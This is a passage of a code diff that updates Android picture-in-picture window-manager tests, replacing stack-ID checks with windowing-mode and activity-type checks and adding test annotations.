}, "Waiting to re-enter PIP");
- mAmWmState.assertFocusedStack("Expected fullscreen stack focused",
- FULLSCREEN_WORKSPACE_STACK_ID);
+ mAmWmState.assertVisibility(TEST_ACTIVITY, true);
}
+ @Presubmit
+ @Test
public void testRemovePipWithNoFullscreenStack() throws Exception {
if (!supportsPip()) return;
// Start with a clean slate, remove all the stacks but home
- removeStacks(ALL_STACK_IDS_BUT_HOME);
+ removeStacksWithActivityTypes(ALL_ACTIVITY_TYPE_BUT_HOME);
// Launch a pip activity
launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
@@ -573,11 +605,13 @@
// Remove the stack and ensure that the task is now in the fullscreen stack (when no
// fullscreen stack existed before)
- removeStacks(PINNED_STACK_ID);
- assertPinnedStackStateOnMoveToFullscreen(PIP_ACTIVITY, HOME_STACK_ID,
- true /* expectTopTaskHasActivity */, true /* expectBottomTaskHasActivity */);
+ removeStacksInWindowingModes(WINDOWING_MODE_PINNED);
+ assertPinnedStackStateOnMoveToFullscreen(PIP_ACTIVITY,
+ WINDOWING_MODE_UNDEFINED, ACTIVITY_TYPE_HOME);
}
+ @Presubmit
+ @Test
public void testRemovePipWithVisibleFullscreenStack() throws Exception {
if (!supportsPip()) return;
@@ -588,11 +622,13 @@
// Remove the stack and ensure that the task is placed in the fullscreen stack, behind the
// top fullscreen activity
- removeStacks(PINNED_STACK_ID);
- assertPinnedStackStateOnMoveToFullscreen(PIP_ACTIVITY, FULLSCREEN_WORKSPACE_STACK_ID,
- false /* expectTopTaskHasActivity */, true /* expectBottomTaskHasActivity */);
+ removeStacksInWindowingModes(WINDOWING_MODE_PINNED);
+ assertPinnedStackStateOnMoveToFullscreen(PIP_ACTIVITY,
+ WINDOWING_MODE_FULLSCREEN, ACTIVITY_TYPE_STANDARD);
}
+ @Presubmit
+ @Test
public void testRemovePipWithHiddenFullscreenStack() throws Exception {
if (!supportsPip()) return;
@@ -605,16 +641,17 @@
// Remove the stack and ensure that the task is placed on top of the hidden fullscreen
// stack, but that the home stack is still focused
- removeStacks(PINNED_STACK_ID);
- assertPinnedStackStateOnMoveToFullscreen(PIP_ACTIVITY, HOME_STACK_ID,
- false /* expectTopTaskHasActivity */, true /* expectBottomTaskHasActivity */);
+ removeStacksInWindowingModes(WINDOWING_MODE_PINNED);
+ assertPinnedStackStateOnMoveToFullscreen(PIP_ACTIVITY,
+ WINDOWING_MODE_UNDEFINED, ACTIVITY_TYPE_HOME);
}
+ @Test
public void testMovePipToBackWithNoFullscreenStack() throws Exception {
if (!supportsPip()) return;
// Start with a clean slate, remove all the stacks but home
- removeStacks(ALL_STACK_IDS_BUT_HOME);
+ removeStacksWithActivityTypes(ALL_ACTIVITY_TYPE_BUT_HOME);
// Launch a pip activity
launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
@@ -623,10 +660,12 @@
// Remove the stack and ensure that the task is now in the fullscreen stack (when no
// fullscreen stack existed before)
executeShellCommand("am broadcast -a " + PIP_ACTIVITY_ACTION_MOVE_TO_BACK);
- assertPinnedStackStateOnMoveToFullscreen(PIP_ACTIVITY, HOME_STACK_ID,
- false /* expectTopTaskHasActivity */, true /* expectBottomTaskHasActivity */);
+ assertPinnedStackStateOnMoveToFullscreen(PIP_ACTIVITY,
+ WINDOWING_MODE_UNDEFINED, ACTIVITY_TYPE_HOME);
}
+ @Presubmit
+ @Test
public void testMovePipToBackWithVisibleFullscreenStack() throws Exception {
if (!supportsPip()) return;
@@ -638,10 +677,12 @@
// Remove the stack and ensure that the task is placed in the fullscreen stack, behind the
// top fullscreen activity
executeShellCommand("am broadcast -a " + PIP_ACTIVITY_ACTION_MOVE_TO_BACK);
- assertPinnedStackStateOnMoveToFullscreen(PIP_ACTIVITY, FULLSCREEN_WORKSPACE_STACK_ID,
- false /* expectTopTaskHasActivity */, true /* expectBottomTaskHasActivity */);
+ assertPinnedStackStateOnMoveToFullscreen(PIP_ACTIVITY,
+ WINDOWING_MODE_FULLSCREEN, ACTIVITY_TYPE_STANDARD);
}
+ @Presubmit
+ @Test
public void testMovePipToBackWithHiddenFullscreenStack() throws Exception {
if (!supportsPip()) return;
@@ -655,10 +696,11 @@
// Remove the stack and ensure that the task is placed on top of the hidden fullscreen
// stack, but that the home stack is still focused
executeShellCommand("am broadcast -a " + PIP_ACTIVITY_ACTION_MOVE_TO_BACK);
- assertPinnedStackStateOnMoveToFullscreen(PIP_ACTIVITY, HOME_STACK_ID,
- false /* expectTopTaskHasActivity */, true /* expectBottomTaskHasActivity */);
+ assertPinnedStackStateOnMoveToFullscreen(
+ PIP_ACTIVITY, WINDOWING_MODE_UNDEFINED, ACTIVITY_TYPE_HOME);
}
+ @Test
public void testPinnedStackAlwaysOnTop() throws Exception {
if (!supportsPip()) return;
@@ -678,6 +720,7 @@
assertPinnedStackIsOnTop();
}
+ @Test
public void testAppOpsDenyPipOnPause() throws Exception {
if (!supportsPip()) return;
@@ -698,16 +741,18 @@
APP_OPS_OP_ENTER_PICTURE_IN_PICTURE, APP_OPS_MODE_ALLOWED);
}
+ @Test
public void testEnterPipFromTaskWithMultipleActivities() throws Exception {
if (!supportsPip()) return;
// Try to enter picture-in-picture from an activity that has more than one activity in the
// task and ensure that it works
launchActivity(LAUNCH_ENTER_PIP_ACTIVITY);
- mAmWmState.waitForValidState(mDevice, PIP_ACTIVITY, PINNED_STACK_ID);
+ mAmWmState.waitForValidState(PIP_ACTIVITY, WINDOWING_MODE_PINNED, ACTIVITY_TYPE_STANDARD);
assertPinnedStackExists();
}
+ @Test
public void testEnterPipWithResumeWhilePausingActivityNoStop() throws Exception {
if (!supportsPip()) return;
@@ -731,7 +776,7 @@
// Launch an activity that will enter PiP when it is paused with a delay that is long enough
// for the next resumeWhilePausing activity to finish resuming, but slow enough to not
// trigger the current system pause timeout (currently 500ms)
- launchActivityInStack(PIP_ACTIVITY, FULLSCREEN_WORKSPACE_STACK_ID,
+ launchActivity(PIP_ACTIVITY, WINDOWING_MODE_FULLSCREEN,
EXTRA_ENTER_PIP_ON_PAUSE, "true",
EXTRA_ON_PAUSE_DELAY, "350",
EXTRA_ASSERT_NO_ON_STOP_BEFORE_PIP, "true");
@@ -739,24 +784,27 @@
assertPinnedStackExists();
}
+ @Test
public void testDisallowEnterPipActivityLocked() throws Exception {
if (!supportsPip()) return;
launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP_ON_PAUSE, "true");
- ActivityTask task =
- mAmWmState.getAmState().getStackById(FULLSCREEN_WORKSPACE_STACK_ID).getTopTask();
+ ActivityTask task = mAmWmState.getAmState().getStandardStackByWindowingMode(
+ WINDOWING_MODE_FULLSCREEN).getTopTask();
// Lock the task and ensure that we can't enter picture-in-picture both explicitly and
// when paused
executeShellCommand("am task lock " + task.mTaskId);
executeShellCommand("am broadcast -a " + PIP_ACTIVITY_ACTION_ENTER_PIP);
- mAmWmState.waitForValidState(mDevice, PIP_ACTIVITY, PINNED_STACK_ID);
+ mAmWmState.waitForValidState(PIP_ACTIVITY, WINDOWING_MODE_PINNED, ACTIVITY_TYPE_STANDARD);
assertPinnedStackDoesNotExist();
launchHomeActivity();
assertPinnedStackDoesNotExist();
executeShellCommand("am task lock stop");
}
+ @Presubmit
+ @Test
public void testConfigurationChangeOrderDuringTransition() throws Exception {
if (!supportsPip()) return;
@@ -765,7 +813,7 @@
launchActivity(PIP_ACTIVITY);
String logSeparator = clearLogcat();
executeShellCommand("am broadcast -a " + PIP_ACTIVITY_ACTION_ENTER_PIP);
- mAmWmState.waitForValidState(mDevice, PIP_ACTIVITY, PINNED_STACK_ID);
+ mAmWmState.waitForValidState(PIP_ACTIVITY, WINDOWING_MODE_PINNED, ACTIVITY_TYPE_STANDARD);
assertPinnedStackExists();
waitForValidPictureInPictureCallbacks(PIP_ACTIVITY, logSeparator);
assertValidPictureInPictureCallbackOrder(PIP_ACTIVITY, logSeparator);
@@ -778,6 +826,7 @@
assertValidPictureInPictureCallbackOrder(PIP_ACTIVITY, logSeparator);
}
+ @Test
public void testEnterPipInterruptedCallbacks() throws Exception {
if (!supportsPip()) return;
@@ -788,7 +837,7 @@
launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
// Wait until the PiP activity has moved into the pinned stack (happens before the
// transition has started)
- mAmWmState.waitForValidState(mDevice, PIP_ACTIVITY, PINNED_STACK_ID);
+ mAmWmState.waitForValidState(PIP_ACTIVITY, WINDOWING_MODE_PINNED, ACTIVITY_TYPE_STANDARD);
assertPinnedStackExists();
// Relaunch the PiP activity back into fullscreen
@@ -796,7 +845,8 @@
launchActivity(PIP_ACTIVITY);
// Wait until the PiP activity is reparented into the fullscreen stack (happens after the
// transition has finished)
- mAmWmState.waitForValidState(mDevice, PIP_ACTIVITY, FULLSCREEN_WORKSPACE_STACK_ID);
+ mAmWmState.waitForValidState(
+ PIP_ACTIVITY, WINDOWING_MODE_FULLSCREEN, ACTIVITY_TYPE_STANDARD);
// Ensure that we get the callbacks indicating that PiP/MW mode was cancelled, but no
// configuration change (since none was sent)
@@ -810,6 +860,8 @@
setWindowTransitionAnimationDurationScale(1);
}
+ @Presubmit
+ @Test
public void testStopBeforeMultiWindowCallbacksOnDismiss() throws Exception {
if (!supportsPip()) return;
@@ -819,8 +871,9 @@
// Dismiss it
String logSeparator = clearLogcat();
- removeStacks(PINNED_STACK_ID);
- mAmWmState.waitForValidState(mDevice, PIP_ACTIVITY, FULLSCREEN_WORKSPACE_STACK_ID);
+ removeStacksInWindowingModes(WINDOWING_MODE_PINNED);
+ mAmWmState.waitForValidState(
+ PIP_ACTIVITY, WINDOWING_MODE_FULLSCREEN, ACTIVITY_TYPE_STANDARD);
// Confirm that we get stop before the multi-window and picture-in-picture mode change
// callbacks
@@ -847,6 +900,7 @@
}
}
+ @Test
public void testPreventSetAspectRatioWhileExpanding() throws Exception {
if (!supportsPip()) return;
@@ -858,10 +912,12 @@
executeShellCommand("am broadcast -a " + PIP_ACTIVITY_ACTION_EXPAND_PIP
+ " -e " + EXTRA_SET_ASPECT_RATIO_WITH_DELAY_NUMERATOR + " 123456789"
+ " -e " + EXTRA_SET_ASPECT_RATIO_WITH_DELAY_DENOMINATOR + " 100000000");
- mAmWmState.waitForValidState(mDevice, PIP_ACTIVITY, FULLSCREEN_WORKSPACE_STACK_ID);
+ mAmWmState.waitForValidState(
+ PIP_ACTIVITY, WINDOWING_MODE_FULLSCREEN, ACTIVITY_TYPE_STANDARD);
assertPinnedStackDoesNotExist();
}
+ @Test
public void testSetRequestedOrientationWhilePinned() throws Exception {
if (!supportsPip()) return;
@@ -878,61 +934,67 @@
// Launch the activity back into fullscreen and ensure that it is now in landscape
launchActivity(PIP_ACTIVITY);
- mAmWmState.waitForValidState(mDevice, PIP_ACTIVITY, FULLSCREEN_WORKSPACE_STACK_ID);
+ mAmWmState.waitForValidState(
+ PIP_ACTIVITY, WINDOWING_MODE_FULLSCREEN, ACTIVITY_TYPE_STANDARD);
assertPinnedStackDoesNotExist();
assertTrue(mAmWmState.getWmState().getLastOrientation() == ORIENTATION_LANDSCAPE);
}
+ @Test
public void testWindowButtonEntersPip() throws Exception {
if (!supportsPip()) return;
// Launch the PiP activity trigger the window button, ensure that we have entered PiP
launchActivity(PIP_ACTIVITY);
pressWindowButton();
- mAmWmState.waitForValidState(mDevice, PIP_ACTIVITY, PINNED_STACK_ID);
+ mAmWmState.waitForValidState(PIP_ACTIVITY, WINDOWING_MODE_PINNED, ACTIVITY_TYPE_STANDARD);
assertPinnedStackExists();
}
+ @Test
public void testFinishPipActivityWithTaskOverlay() throws Exception {
if (!supportsPip()) return;
// Launch PiP activity
launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
assertPinnedStackExists();
- int taskId = mAmWmState.getAmState().getStackById(PINNED_STACK_ID).getTopTask().mTaskId;
+ int taskId = mAmWmState.getAmState().getStandardStackByWindowingMode(
+ WINDOWING_MODE_PINNED).getTopTask().mTaskId;
// Ensure that we don't any any other overlays as a result of launching into PIP
launchHomeActivity();
// Launch task overlay activity into PiP activity task
- launchActivityAsTaskOverlay(TRANSLUCENT_TEST_ACTIVITY, taskId, PINNED_STACK_ID);
+ launchPinnedActivityAsTaskOverlay(TRANSLUCENT_TEST_ACTIVITY, taskId);
// Finish the PiP activity and ensure that there is no pinned stack
executeShellCommand("am broadcast -a " + PIP_ACTIVITY_ACTION_FINISH);
- mAmWmState.waitForWithAmState(mDevice, (amState) -> {
- ActivityStack stack = amState.getStackById(PINNED_STACK_ID);
+ mAmWmState.waitForWithAmState((amState) -> {
+ ActivityStack stack = amState.getStandardStackByWindowingMode(WINDOWING_MODE_PINNED);
return stack == null;
}, "Waiting for pinned stack to be removed...");
assertPinnedStackDoesNotExist();
}
+ @Test
public void testNoResumeAfterTaskOverlayFinishes() throws Exception {
if (!supportsPip()) return;
// Launch PiP activity
launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
assertPinnedStackExists();
- int taskId = mAmWmState.getAmState().getStackById(PINNED_STACK_ID).getTopTask().mTaskId;
+ int taskId = mAmWmState.getAmState().getStandardStackByWindowingMode(
+ WINDOWING_MODE_PINNED).getTopTask().mTaskId;
// Launch task overlay activity into PiP activity task
- launchActivityAsTaskOverlay(TRANSLUCENT_TEST_ACTIVITY, taskId, PINNED_STACK_ID);
+ launchPinnedActivityAsTaskOverlay(TRANSLUCENT_TEST_ACTIVITY, taskId);
// Finish the task overlay activity while animating and ensure that the PiP activity never
// got resumed
String logSeparator = clearLogcat();
executeShellCommand("am stack resize-animated 4 20 20 500 500");
executeShellCommand("am broadcast -a " + TEST_ACTIVITY_ACTION_FINISH);
- mAmWmState.waitFor(mDevice, (amState, wmState) -> !amState.containsActivity(
+ mAmWmState.waitFor((amState, wmState) -> !amState.containsActivity(
TRANSLUCENT_TEST_ACTIVITY), "Waiting for test activity to finish...");
final ActivityLifecycleCounts lifecycleCounts = new ActivityLifecycleCounts(PIP_ACTIVITY,
logSeparator);
@@ -940,6 +1002,7 @@
assertTrue(lifecycleCounts.mPauseCount == 0);
}
+ @Test
public void testPinnedStackWithDockedStack() throws Exception {
if (!supportsPip() || !supportsSplitScreenMultiWindow()) return;
@@ -964,12 +1027,11 @@
// separate stack id or as an activity), for those cases the visibility asserts will be
// ignored
pressAppSwitchButton();
- if (mAmWmState.waitForRecentsActivityVisible(mDevice)) {
- mAmWmState.assertVisibility(LAUNCHING_ACTIVITY, true);
- mAmWmState.assertVisibility(TEST_ACTIVITY, false);
- }
+ mAmWmState.assertVisibility(LAUNCHING_ACTIVITY, true);
+ mAmWmState.assertVisibility(TEST_ACTIVITY, false);
}
+ @Test
public void testLaunchTaskByComponentMatchMultipleTasks() throws Exception {
if (!supportsPip()) return;
@@ -994,6 +1056,7 @@
TEST_ACTIVITY_WITH_SAME_AFFINITY).mTaskId);
}
+ @Test
public void testLaunchTaskByAffinityMatchMultipleTasks() throws Exception {
if (!supportsPip()) return;
@@ -1004,9 +1067,11 @@
launchActivity(TEST_ACTIVITY_WITH_SAME_AFFINITY,
EXTRA_START_ACTIVITY, getActivityComponentName(TEST_ACTIVITY),
EXTRA_FINISH_SELF_ON_RESUME, "true");
- mAmWmState.waitForValidState(mDevice, TEST_ACTIVITY, FULLSCREEN_WORKSPACE_STACK_ID);
+ mAmWmState.waitForValidState(
+ TEST_ACTIVITY, WINDOWING_MODE_FULLSCREEN, ACTIVITY_TYPE_STANDARD);
launchActivity(PIP_ACTIVITY_WITH_SAME_AFFINITY);
- mAmWmState.waitForValidState(mDevice, PIP_ACTIVITY_WITH_SAME_AFFINITY, PINNED_STACK_ID);
+ mAmWmState.waitForValidState(
+ PIP_ACTIVITY_WITH_SAME_AFFINITY, WINDOWING_MODE_PINNED, ACTIVITY_TYPE_STANDARD);
assertPinnedStackExists();
// Launch the root activity again...
@@ -1023,6 +1088,7 @@
TEST_ACTIVITY).mTaskId);
}
+ @Test
public void testLaunchTaskByAffinityMatchSingleTask() throws Exception {
if (!supportsPip()) return;
@@ -1031,7 +1097,7 @@
EXTRA_ENTER_PIP, "true",
EXTRA_START_ACTIVITY, getActivityComponentName(PIP_ACTIVITY),
EXTRA_FINISH_SELF_ON_RESUME, "true");
- mAmWmState.waitForValidState(mDevice, PIP_ACTIVITY, PINNED_STACK_ID);
+ mAmWmState.waitForValidState(PIP_ACTIVITY, WINDOWING_MODE_PINNED, ACTIVITY_TYPE_STANDARD);
assertPinnedStackExists();
// Launch the root activity again, of the matching task and ensure that we expand to
@@ -1040,54 +1106,58 @@
PIP_ACTIVITY).mTaskId;
launchHomeActivity();
launchActivity(TEST_ACTIVITY_WITH_SAME_AFFINITY);
- mAmWmState.waitForValidState(mDevice, PIP_ACTIVITY, FULLSCREEN_WORKSPACE_STACK_ID);
+ mAmWmState.waitForValidState(
+ PIP_ACTIVITY, WINDOWING_MODE_FULLSCREEN, ACTIVITY_TYPE_STANDARD);
assertPinnedStackDoesNotExist();
assertTrue(activityTaskId == mAmWmState.getAmState().getTaskByActivityName(
PIP_ACTIVITY).mTaskId);
}
/** Test that reported display size corresponds to fullscreen after exiting PiP. */
+ @Test
public void testDisplayMetricsPinUnpin() throws Exception {
if (!supportsPip()) return;
String logSeparator = clearLogcat();
launchActivity(TEST_ACTIVITY);
- final int defaultDisplayStackId = mAmWmState.getAmState().getFocusedStackId();
+ final int defaultWindowingMode = WINDOWING_MODE_FULLSCREEN;
+ // TODO: Uncomment the line below after we start dumping AM to proto.
+ //final int defaultWindowingMode = mAmWmState.getAmState().getActivity(TEST_ACTIVITY).getWindowingMode();
final ReportedSizes initialSizes = getLastReportedSizesForActivity(TEST_ACTIVITY,
logSeparator);
- final Rectangle initialAppBounds = readAppBounds(TEST_ACTIVITY, logSeparator);
+ final Rect initialAppBounds = readAppBounds(TEST_ACTIVITY, logSeparator);
assertNotNull("Must report display dimensions", initialSizes);
assertNotNull("Must report app bounds", initialAppBounds);
logSeparator = clearLogcat();
launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
- mAmWmState.waitForValidState(mDevice, PIP_ACTIVITY, PINNED_STACK_ID);
+ mAmWmState.waitForValidState(PIP_ACTIVITY, WINDOWING_MODE_PINNED, ACTIVITY_TYPE_STANDARD);
final ReportedSizes pinnedSizes = getLastReportedSizesForActivity(PIP_ACTIVITY,
logSeparator);
- final Rectangle pinnedAppBounds = readAppBounds(PIP_ACTIVITY, logSeparator);
+ final Rect pinnedAppBounds = readAppBounds(PIP_ACTIVITY, logSeparator);
assertFalse("Reported display size when pinned must be different from default",
initialSizes.equals(pinnedSizes));
assertFalse("Reported app bounds when pinned must be different from default",
- initialAppBounds.width == pinnedAppBounds.width
- && initialAppBounds.height == pinnedAppBounds.height);
+ initialAppBounds.width() == pinnedAppBounds.width()
+ && initialAppBounds.height() == pinnedAppBounds.height());
logSeparator = clearLogcat();
- launchActivityInStack(PIP_ACTIVITY, defaultDisplayStackId);
+ launchActivity(PIP_ACTIVITY, defaultWindowingMode);
final ReportedSizes finalSizes = getLastReportedSizesForActivity(PIP_ACTIVITY,
logSeparator);
- final Rectangle finalAppBounds = readAppBounds(PIP_ACTIVITY, logSeparator);
+ final Rect finalAppBounds = readAppBounds(PIP_ACTIVITY, logSeparator);
assertEquals("Must report default size after exiting PiP", initialSizes, finalSizes);
- assertEquals("Must report default app width after exiting PiP", initialAppBounds.width,
- finalAppBounds.width);
- assertEquals("Must report default app height after exiting PiP", initialAppBounds.height,
- finalAppBounds.height);
+ assertEquals("Must report default app width() after exiting PiP", initialAppBounds.width(),
+ finalAppBounds.width());
+ assertEquals("Must report default app height() after exiting PiP", initialAppBounds.height(),
+ finalAppBounds.height());
}
private static final Pattern sAppBoundsPattern = Pattern.compile(
- "(.+)appBounds=Rect\\((\\d+), (\\d+) - (\\d+), (\\d+)\\)(.*)");
+ "(.+)mAppBounds=Rect\\((\\d+), (\\d+) - (\\d+), (\\d+)\\)(.*)");
/** Read app bounds in last applied configuration from logs. */
- private Rectangle readAppBounds(String activityName, String logSeparator) throws Exception {
+ private Rect readAppBounds(String activityName, String logSeparator) throws Exception {
final String[] lines = getDeviceLogsForComponent(activityName, logSeparator);
for (int i = lines.length - 1; i >= 0; i--) {
final String line = lines[i].trim();
@@ -1097,7 +1167,7 @@
final int top = Integer.parseInt(matcher.group(3));
final int right = Integer.parseInt(matcher.group(4));
final int bottom = Integer.parseInt(matcher.group(5));
- return new Rectangle(left, top, right - left, bottom - top);
+ return new Rect(left, top, right - left, bottom - top);
}
}
return null;
@@ -1105,31 +1175,19 @@
/**
* Called after the given {@param activityName} has been moved to the fullscreen stack. Ensures
- * that the {@param focusedStackId} is focused, and checks the top and/or bottom tasks in the
- * fullscreen stack if {@param expectTopTaskHasActivity} or {@param expectBottomTaskHasActivity}
- * are set respectively.
+ * that the stack matching the {@param windowingMode} and {@param activityType} is focused, and
+ * checks the top and/or bottom tasks in the fullscreen stack if
+ * {@param expectTopTaskHasActivity} or {@param expectBottomTaskHasActivity} are set respectively.
*/
- private void assertPinnedStackStateOnMoveToFullscreen(String activityName, int focusedStackId,
- boolean expectTopTaskHasActivity, boolean expectBottomTaskHasActivity)
- throws Exception {
- mAmWmState.waitForFocusedStack(mDevice, focusedStackId);
- mAmWmState.assertFocusedStack("Wrong focused stack", focusedStackId);
- mAmWmState.waitForActivityState(mDevice, activityName, STATE_STOPPED);
+ private void assertPinnedStackStateOnMoveToFullscreen(String activityName, int windowingMode,
+ int activityType) throws Exception {
+ mAmWmState.waitForFocusedStack(windowingMode, activityType);
+ mAmWmState.assertFocusedStack("Wrong focused stack", windowingMode, activityType);
+ mAmWmState.waitForActivityState(activityName, STATE_STOPPED);
assertTrue(mAmWmState.getAmState().hasActivityState(activityName, STATE_STOPPED));
+ assertTrue(mAmWmState.getAmState().containsActivityInWindowingMode(
+ activityName, WINDOWING_MODE_FULLSCREEN));
assertPinnedStackDoesNotExist();
-
- if (expectTopTaskHasActivity) {
- ActivityTask topTask = mAmWmState.getAmState().getStackById(
- FULLSCREEN_WORKSPACE_STACK_ID).getTopTask();
- assertTrue(topTask.containsActivity(ActivityManagerTestBase.getActivityComponentName(
- activityName)));
- }
- if (expectBottomTaskHasActivity) {
- ActivityTask bottomTask = mAmWmState.getAmState().getStackById(
- FULLSCREEN_WORKSPACE_STACK_ID).getBottomTask();
- assertTrue(bottomTask.containsActivity(ActivityManagerTestBase.getActivityComponentName(
- activityName)));
- }
}
/**
@@ -1138,21 +1196,21 @@
private void assertPinnedStackDoesNotIntersectIME() throws Exception {
// Ensure that the IME is visible
WindowManagerState wmState = mAmWmState.getWmState();
- wmState.computeState(mDevice);
+ wmState.computeState();
WindowManagerState.WindowState imeWinState = wmState.getInputMethodWindowState();
assertTrue(imeWinState != null);
// Ensure that the PIP movement is constrained by the display bounds intersecting the
// non-IME bounds
- Rectangle imeContentFrame = imeWinState.getContentFrame();
- Rectangle imeContentInsets = imeWinState.getGivenContentInsets();
- Rectangle imeBounds = new Rectangle(imeContentFrame.x + imeContentInsets.x,
- imeContentFrame.y + imeContentInsets.y,
- imeContentFrame.width - imeContentInsets.width,
- imeContentFrame.height - imeContentInsets.height);
- wmState.computeState(mDevice);
- Rectangle pipMovementBounds = wmState.getPinnedStackMomentBounds();
- assertTrue(!pipMovementBounds.intersects(imeBounds));
+ Rect imeContentFrame = imeWinState.getContentFrame();
+ Rect imeContentInsets = imeWinState.getGivenContentInsets();
+ Rect imeBounds = new Rect(imeContentFrame.left + imeContentInsets.left,
+ imeContentFrame.top + imeContentInsets.top,
+ imeContentFrame.right - imeContentInsets.width(),
+ imeContentFrame.bottom - imeContentInsets.height());
+ wmState.computeState();
+ Rect pipMovementBounds = wmState.getPinnedStackMomentBounds();
+ assertTrue(!Rect.intersects(pipMovementBounds, imeBounds));
}
/**
@@ -1162,9 +1220,9 @@
final WindowManagerState.WindowState windowState = getWindowState(activity);
final WindowManagerState.Display display = mAmWmState.getWmState().getDisplay(
windowState.getDisplayId());
- final Rectangle displayRect = display.getDisplayRect();
- final Rectangle pinnedStackBounds =
- mAmWmState.getAmState().getStackById(PINNED_STACK_ID).getBounds();
+ final Rect displayRect = display.getDisplayRect();
+ final Rect pinnedStackBounds = mAmWmState.getAmState().getStandardStackByWindowingMode(
+ WINDOWING_MODE_PINNED).getBounds();
assertTrue(displayRect.contains(pinnedStackBounds));
}
@@ -1172,21 +1230,24 @@
* Asserts that the pinned stack exists.
*/
private void assertPinnedStackExists() throws Exception {
- mAmWmState.assertContainsStack("Must contain pinned stack.", PINNED_STACK_ID);
+ mAmWmState.assertContainsStack("Must contain pinned stack.", WINDOWING_MODE_PINNED,
+ ACTIVITY_TYPE_STANDARD);
}
/**
* Asserts that the pinned stack does not exist.
*/
private void assertPinnedStackDoesNotExist() throws Exception {
- mAmWmState.assertDoesNotContainStack("Must not contain pinned stack.", PINNED_STACK_ID);
+ mAmWmState.assertDoesNotContainStack("Must not contain pinned stack.",
+ WINDOWING_MODE_PINNED, ACTIVITY_TYPE_STANDARD);
}
/**
* Asserts that the pinned stack is the front stack.
*/
private void assertPinnedStackIsOnTop() throws Exception {
- mAmWmState.assertFrontStack("Pinned stack must always be on top.", PINNED_STACK_ID);
+ mAmWmState.assertFrontStack("Pinned stack must always be on top.",
+ WINDOWING_MODE_PINNED, ACTIVITY_TYPE_STANDARD);
}
/**
@@ -1224,7 +1285,7 @@
*/
private void waitForValidPictureInPictureCallbacks(String activityName, String logSeparator)
throws Exception {
- mAmWmState.waitFor(mDevice, (amState, wmState) -> {
+ mAmWmState.waitFor((amState, wmState) -> {
try {
final ActivityLifecycleCounts lifecycleCounts = new ActivityLifecycleCounts(
activityName, logSeparator);
@@ -1237,12 +1298,21 @@
}, "Waiting for picture-in-picture activity callbacks...");
}
+ private void waitForValidAspectRatio(int num, int denom) throws Exception {
+ // Hacky, but we need to wait for the auto-enter picture-in-picture animation to complete
+ // and before we can check the pinned stack bounds
+ mAmWmState.waitForWithAmState((state) -> {
+ Rect bounds = state.getStandardStackByWindowingMode(WINDOWING_MODE_PINNED).getBounds();
+ return floatEquals((float) bounds.width() / bounds.height(), (float) num / denom);
+ }, "waitForValidAspectRatio");
+ }
+
/**
* @return the window state for the given {@param activity}'s window.
*/
private WindowManagerState.WindowState getWindowState(String activity) throws Exception {
String windowName = getWindowName(activity);
- mAmWmState.computeState(mDevice, new String[] {activity});
+ mAmWmState.computeState(new WaitForValidActivityState.Builder(activity).build());
final List<WindowManagerState.WindowState> tempWindowList = new ArrayList<>();
mAmWmState.getWmState().getMatchingVisibleWindowState(windowName, tempWindowList);
return tempWindowList.get(0);
@@ -1251,29 +1321,35 @@
/**
* Compares two floats with a common epsilon.
*/
- private boolean floatEquals(float f1, float f2) {
- return Math.abs(f1 - f2) < FLOAT_COMPARE_EPSILON;
+ private void assertFloatEquals(float actual, float expected) {
+ if (!floatEquals(actual, expected)) {
+ fail(expected + " not equal to " + actual);
+ }
+ }
+
+ private boolean floatEquals(float a, float b) {
+ return Math.abs(a - b) < FLOAT_COMPARE_EPSILON;
}
/**
* Triggers a tap over the pinned stack bounds to trigger the PIP to close.
*/
private void tapToFinishPip() throws Exception {
- Rectangle pinnedStackBounds =
- mAmWmState.getAmState().getStackById(PINNED_STACK_ID).getBounds();
- int tapX = pinnedStackBounds.x + pinnedStackBounds.width - 100;
- int tapY = pinnedStackBounds.y + pinnedStackBounds.height - 100;
+ Rect pinnedStackBounds = mAmWmState.getAmState().getStandardStackByWindowingMode(
+ WINDOWING_MODE_PINNED).getBounds();
+ int tapX = pinnedStackBounds.left + pinnedStackBounds.width() - 100;
+ int tapY = pinnedStackBounds.top + pinnedStackBounds.height() - 100;
executeShellCommand(String.format("input tap %d %d", tapX, tapY));
}
/**
* Launches the given {@param activityName} into the {@param taskId} as a task overlay.
*/
- private void launchActivityAsTaskOverlay(String activityName, int taskId, int stackId)
+ private void launchPinnedActivityAsTaskOverlay(String activityName, int taskId)
throws Exception {
executeShellCommand(getAmStartCmd(activityName) + " --task " + taskId + " --task-overlay");
- mAmWmState.waitForValidState(mDevice, activityName, stackId);
+ mAmWmState.waitForValidState(activityName, WINDOWING_MODE_PINNED, ACTIVITY_TYPE_STANDARD);
}
/**
@@ -1287,33 +1363,40 @@
* Triggers the window keycode.
*/
private void pressWindowButton() throws Exception {
- executeShellCommand(INPUT_KEYEVENT_WINDOW);
+ mDevice.pressKeyCode(KEYCODE_WINDOW);
}
/**
* TODO: Improve tests check to actually check that apps are not interactive instead of checking
* if the stack is focused.
*/
- private void pinnedStackTester(String startActivityCmd, String topActivityName,
- boolean moveTopToPinnedStack, boolean isFocusable) throws Exception {
-
+ private void pinnedStackTester(String startActivityCmd, String startActivity,
+ String topActivityName, boolean moveTopToPinnedStack, boolean isFocusable)
+ throws Exception {
executeShellCommand(startActivityCmd);
+ mAmWmState.waitForValidState(new WaitForValidActivityState.Builder(startActivity).build());
+
if (moveTopToPinnedStack) {
- executeShellCommand(AM_MOVE_TOP_ACTIVITY_TO_PINNED_STACK_COMMAND);
+ final int stackId = mAmWmState.getAmState().getStackIdByActivityName(topActivityName);
+
+ assertNotEquals(stackId, INVALID_STACK_ID);
+ executeShellCommand(getMoveToPinnedStackCommand(stackId));
}
- mAmWmState.waitForValidState(mDevice, topActivityName, PINNED_STACK_ID);
- mAmWmState.computeState(mDevice, null);
+ mAmWmState.waitForValidState(topActivityName,
+ WINDOWING_MODE_PINNED, ACTIVITY_TYPE_STANDARD);
+ mAmWmState.computeState();
if (supportsPip()) {
final String windowName = getWindowName(topActivityName);
assertPinnedStackExists();
- mAmWmState.assertFrontStack("Pinned stack must be the front stack.", PINNED_STACK_ID);
